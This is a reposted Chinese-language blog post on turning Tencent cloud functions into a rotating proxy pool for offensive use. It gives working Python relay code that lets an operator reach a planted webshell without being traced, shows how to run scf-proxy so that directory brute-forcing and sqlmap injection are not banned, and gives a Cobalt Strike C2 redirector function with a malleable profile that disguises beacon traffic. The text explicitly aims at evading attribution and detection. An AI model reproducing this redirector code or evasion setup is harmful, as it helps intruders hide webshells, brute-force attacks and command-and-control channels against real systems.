雲函數(變相代理池)的三種常見利用


前言

之前學到一些雲函數的利用,感覺很有趣,於是借此篇來總結一下三種對雲函數的簡單利用方式。

雲函數

雲函數(Serverless Cloud Function,SCF)是騰訊雲為企業和開發者們提供的無服務器執行環境,幫助您在無需購買和管理服務器的情況下運行代碼。您只需使用平台支持的語言編寫核心代碼並設置代碼運行的條件,即可在騰訊雲基礎設施上彈性、安全地運行代碼。SCF 是實時文件處理和數據處理等場景下理想的計算平台。總結雲函數的幾個特性:

  1. 多出口
  2. 調用時創建執行
  3. 無需服務器VPS承載

防溯源連接Webshell

之前最好的是某安全攻防實驗室公眾號發布了一篇<論如何防溯源連接Webshell>,利用雲函數多出口的特性來規避溯源,可惜的是不久后就該文章就被刪除了。以下介紹實際的利用方式

雲函數創建

選擇自定義創建

函數代碼中腳本如下,主要是通過將Webshell地址作為參數傳入雲函數API中,在雲函數服務端腳本中重組Webshell地址以及POST命令內容,將重組后的請求內容轉發給Webshel

#!/usr/bin/env
# -*- coding:utf-8 -*-
import requests
import json
from urllib.parse import urlsplit
def geturl(urlstr):
       jurlstr = json.dumps(urlstr)
       dict_url = json.loads(jurlstr)
       return dict_url['u']
def main_handler(event, context):
       url = geturl(event['queryString'])
       host = urlsplit(url).netloc
       postdata = event['body']
       headers=event['headers']
       headers["HOST"] = host
       resp=requests.post(url,data=postdata,headers=headers,verify=False)
       response={
       "isBase64Encoded": False,
       "statusCode": 200,
       "headers": {'Content-Type': 'text/html;charset='+resp.apparent_encoding},
       "body": resp.text
  }
       return response

 

在觸發器配置中選擇API網關觸發,然后點擊創建,過一會會提示創建成功。

https://service-dafetmeh-xxxx/release/Webshell_Bypass?u=http://xxxx/webshell.php   

利用

我們可以通過蟻劍直接連接Webshell,URL請求地址填為api地址+webshell地址

然后vps端通過監控日志查看訪問webshell的ip地址

通過access.log可以發現每次請求都是不同的ip地址並且都是來自上海地區的騰訊雲(根據自己選擇地區而改變)

通過雲函數的方法我們便可以隱藏連接Webshell的本機IP地址,從而防止溯源,如果使用可以蟻劍,為了達到更隱秘的目的,可以自行對Webshell流量進行加解密的操作來逃逸流量檢測,流量檢測+白名單IOC的方式可以完美的逃避檢測。

注入/目錄爆破爆破防Ban

雲函數其實也可以作為一種變相的代理池供我們所用,利用雲函數的多出口性來防止爆破或者SQL注入的時候被Ban

雲函數創建

這里可以哈希安全團隊公開的SCF-Proxy來實現,第一次看到Scf-Proxy的概念的應該是學蟻致用的作者,通過客戶端監聽獲取請求並且組裝API請求,服務端雲函數解析且重組API請求,通過SCF-Proxy不光可以實現代理http請求,也可以代理https請求(類似Burp中間人監聽的方式)

項目地址:https://github.com/hashsecteam/scf-proxy

下載下來然后利用Golang編譯客戶端和服務端,這里我把客戶端編譯成Win版本使用

還是選擇自定義創建,但是這里要選擇Go,而不是默認的python,並,執行方法改為server,且選擇本地上傳zip,將server.zip上傳上去

觸發管理中依然選擇API網關管理,創建完成后來到觸發管理獲取API地址

利用

首先客戶端開啟監聽 ./client.exe -port 10086 雲函數api地址

此時再通過dirsearch設置http代理的方式爆破VPS的目錄

查看access_log可以看到爆破的ip地址分布

由於此次選擇的是廣州地區,於是訪問的ip基本都是來自廣州

也可以代理訪問https網站

由此可以實現爆破目錄以及Sqlmap的爆破不被Ban

C2隱藏

通過雲函數的特性,我們依然可以做到CS上線的隱藏,由於Cs支持HTTP/HTTPS類型的Beacon,因此我們也可以通過雲函數來轉發HTTP/HTTPS請求,該方法學習自狼組北美第一突破手師傅

雲函數創建

與第一種別無二樣,依然選擇API網關觸發的方式,就是雲函數服務端腳本修改為如下

# -*- coding: utf8 -*-
import json,requests,base64
def main_handler(event, context):
   C2='http://<C2服務器地址>' # 這里可以使用 HTTP、HTTPS~下角標~
   path=event['path']
   headers=event['headers']
   print(event)
   if event['httpMethod'] == 'GET' :
       resp=requests.get(C2+path,headers=headers,verify=False)
   else:
       resp=requests.post(C2+path,data=event['body'],headers=headers,verify=False)
       print(resp.headers)
       print(resp.content)
   response={
       "isBase64Encoded": True,
       "statusCode": resp.status_code,
       "headers": dict(resp.headers),
       "body": str(base64.b64encode(resp.content))[2:-1]
  }
   return response

 

 

Cs可以定制Profile來更加隱匿流量這里使用如下的Profile

set sample_name "kris_abao";
set sleeptime "3000";
set jitter   "0";
set maxdns   "255";
set useragent "Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/5.0)";
http-get {
  set uri "/api/getit";
  client {
      header "Accept" "*/*";
      metadata {
          base64;
          prepend "SESSIONID=";
          header "Cookie";
      }
  }
  server {
      header "Content-Type" "application/ocsp-response";
      header "content-transfer-encoding" "binary";
      header "Server" "Nodejs";
      output {
          base64;
          print;
      }
  }
}
http-stager {  
  set uri_x86 "/vue.min.js";
  set uri_x64 "/bootstrap-2.min.js";
}
http-post {
  set uri "/api/postit";
  client {
      header "Accept" "*/*";
      id {
          base64;
          prepend "JSESSION=";
          header "Cookie";
      }
      output {
          base64;
          print;
      }
  }
  server {
      header "Content-Type" "application/ocsp-response";
      header "content-transfer-encoding" "binary";
      header "Connection" "keep-alive";
      output {
          base64;
          print;
      }
  }
}
​

創建完后放到將api.profile放到服務端Cs上

可以通過c2lint檢查一下profile,可以看到正常的定義http類型Beacon的get和post請求時的樣子

監聽設置

生成木馬,點擊后上線

公網地址會不斷的跳,因為這里呈現的是請求源的IP,也就是我們的雲函數IP地址,基本都是騰訊的IDC機房中的IP 在該過程中遇到了一些問題,比如說Stager較大,導致請求超時,這時候可以修改代碼加點演示設置即可

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM